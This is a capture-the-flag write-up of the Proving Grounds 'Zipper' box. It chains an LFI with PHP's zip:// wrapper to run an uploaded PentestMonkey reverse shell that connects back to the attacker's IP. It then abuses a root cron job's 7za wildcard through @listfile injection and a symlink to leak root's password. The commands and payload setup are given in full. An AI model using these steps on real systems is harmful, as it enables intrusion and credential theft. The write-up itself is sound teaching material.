the_open_door
coffee
ESEN

Zipper

Proving Grounds PracticeHardLinux192.168.114.2294 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#lfi#php-wrapper#zip-wrapper#file-upload#rce#cron#7zip#listfile-injection#information-disclosure#oscp
TL;DR. Zipper is an online ZIP converter. index.php?file= has an LFI, and since the site compresses whatever we upload into a .zip, we chain PHP's zip:// wrapper to run a webshell inside the archive (RCE via PHP's zip:// wrapper), landing as www-data. A root cron runs 7za a ... *.zip in a directory we can write to; we abuse 7-Zip's @listfile syntax to leak /root/secret into the log (arbitrary read via 7-Zip @listfile). That secret is root's password.

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.110.229
64 bytes from 192.168.110.229: icmp_seq=1 ttl=61 time=30.0 ms

Two ports:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.110.229
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 192.168.110.229 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-05 23:30 +0000
Nmap scan report for 192.168.110.229 (192.168.110.229)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Zipper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds

Web - TCP 80#

The box was restarted between the scan and the web inspection, and Proving Grounds handed it a different IP: 192.168.114.229, the one the rest of the writeup uses.

The site, "Zipper", is a converter: upload files and it compresses them into a .zip dropped in /uploads/. The landing page is served as index.php?file=home, an inclusion pattern that smells of LFI:

Zipper landing page with the URL index.php?file=home; a ZIP converter with an upload form

A dirsearch confirms /upload.php and /uploads/:


dirsearch -u http://192.168.114.229/ --exclude-status=404,403
[15:21:22] 200 - /style
[15:21:24] 200 - /upload.php
[15:21:25] 301 - /uploads  ->  http://192.168.114.229/uploads/

Exploitation#

LFI + zip:// wrapper = RCE#

Two pieces fit: (1) index.php?file= includes server files (LFI) and (2) everything we upload ends up as /uploads/upload_<timestamp>.zip. PHP offers the zip:// stream wrapper, which opens a specific entry inside a ZIP with the syntax zip://path.zip#entry. If we upload a ZIP containing a rev.php, we can ask the LFI to include and run that entry (RCE via PHP's zip:// wrapper).

As the payload we use PentestMonkey's PHP reverse shell from revshells.com, pointing at our IP and port:

revshells.com with the PHP PentestMonkey reverse shell, IP 192.168.45.204 and port 22

We save it as rev.php (the $ip/$port are baked into the script header):


nano rev.php

head -n 10 rev.php
<?php
// php-reverse-shell - A Reverse Shell implementation in P...rse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.204';
$port = 22;
$chunk_size = 1400;
$write_a = null;

We upload it through Zipper's form, which compresses it into a .zip:

Zipper upload form with rev.php selected in the file dialog

The site confirms "Files uploaded successfully and compressed into a zip format" and gives us the exact name of the generated archive: upload_1770392287.zip (that is where the name we use in the wrapper comes from):

Zipper confirms the upload and generates upload_1770392287.zip, downloadable

We start penelope, which comes up listening on its default 4444, and add a second listener on 22, the port baked into rev.php:


penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 ...

listeners add -p 22
[+] Listening for reverse shells on 0.0.0.0:22 → 127.0.0.1 ...

Then we point file= at the wrapper, with #rev encoded as %23rev:

http://192.168.114.229/index.php?file=zip://./uploads/upload_1770392287.zip%23rev
[+] Got reverse shell from <name -p 2>/dev/null)";printf $MeJqyfPXRG$DXsOnqUlJC
zipper~192.168.114.229-Linux-x86_64 Assigned SessionID <1>

sessions 1
[+] Attempting to upgrade shell to PTY ...
[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 192.168.45.204:22
[+] Got reverse shell from zipper~192.168.114.229-Linux-x86_64 Assigned SessionID <2>
[-] Failed spawning new session
[+] Interacting with session [1], Shell Type: Raw, Menu key: Ctrl-C
vDHY=VgGw iaiF=iQpM; echo $vDHY$iaiF
www-data@zipper:/$ whoami
whoami
www-data

Before the hostname there is something worth not skipping: penelope cannot upgrade the session to a PTY (Python agent cannot be deployed, ending in [-] Failed spawning new session), so it stays at Shell Type: Raw. That has a visible consequence in everything that follows: the shell echoes every command before answering it.

The hostname penelope prints comes out broken (<name -p 2>/dev/null)";printf ...): pentestmonkey's php-reverse-shell calls uname -p inside the string penelope uses to identify the session, and what comes back is the command itself. The session works all the same.

The shell runs as www-data.

Local#


cat local.txt && whoami && ip a && hostname
cat local.txt && whoami && ip a && hostname
a915350183b78b90934e03d88e97b244
www-data
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:c8:e3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.114.229/24 brd 192.168.114.255 scope global ens160
       valid_lft forever preferred_lft forever
zipper

Privilege escalation#

Root cron with 7-Zip and its wildcards#

/etc/crontab reveals a task running every minute as root, and its script compresses the .zip files in the upload directory, encrypting them with a secret:


cat /etc/crontab
* *     * * *   root    bash /opt/backup.sh

cat /opt/backup.sh

#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

We cannot read /root/secret directly, but we can write into /var/www/html/uploads, and that is where the *.zip wildcard works its magic. 7-Zip treats any argument starting with @ as a list file (@listfile): it reads that file and treats each line as a filename to add. Since the shell expands *.zip, we just create a file named @x.zip (starts with @ and matches *.zip) and a symlink x.zip pointing at /root/secret (arbitrary read via 7-Zip @listfile):


cd /var/www/html/uploads
touch @x.zip
ln -s /root/secret x.zip

On the next cron cycle, 7-Zip reads x.zip (the contents of /root/secret), tries to add a file with that name, cannot find it and dumps it as a warning into backup.log. Read from /opt/backups, there the secret sits:


cat backup.log
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7413 24-Core Processor ...

Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 6191

Scanning the drive:
6 files, 5085 bytes (5 KiB)

Updating archive: /opt/backups/backup.zip

Items to compress: 6


Files read from disk: 6
Archive size: 6191 bytes (7 KiB)

Scan WARNINGS for files and folders:

WildCardsGoingWild : No more files
----------------
Scan WARNINGS: 1

The contents of /root/secret are WildCardsGoingWild, which turns out to be root's password:


su root   # WildCardsGoingWild
Password:
root@zipper:/opt/backups# whoami
root

Root#


cat proof.txt && whoami && ip a && hostname
402b7c04959e89d00e048633f3e1c74a
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:c8:e3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.114.229/24 brd 192.168.114.255 scope global ens160
       valid_lft forever preferred_lft forever
zipper

Attack chain#

HTTP (80)  --  Zipper: LFI in index.php?file= + upload to /uploads/*.zip
        │  wrapper zip://./uploads/upload_<ts>.zip#rev -> runs rev.php
        ▼
www-data  (local.txt)
        │  root cron: 7za a backup.zip -p$(cat /root/secret) *.zip
        │  @x.zip + symlink x.zip->/root/secret -> secret leaked to backup.log
        ▼
root  (proof.txt)  [su with WildCardsGoingWild]

Lessons learned#

  • A file= that includes is LFI, and with zip:// it is RCE. Combining an LFI with a place where we control a ZIP's contents (the site's own feature) let us run code without uploading a directly served .php. PHP wrappers (zip://, phar://, php://filter) must always be on the radar against an LFI.
  • Wildcards in root scripts are dangerous. 7za ... *.zip lets an attacker inject arguments by creating specially named files. It is the same pattern as tar --wildcards: anchor paths (./) and avoid globs over writable directories.
  • 7-Zip's @listfile is arbitrary file read. An @ in the name turns 7-Zip into a reader of other files; the "No more files" error leaks their contents. A root secret ended up in a readable log.
  • Do not store passwords in files another process reads. /root/secret fed the cron; as soon as that process could be manipulated, the secret was exposed.
Command cheatsheet 7 commands

Quick review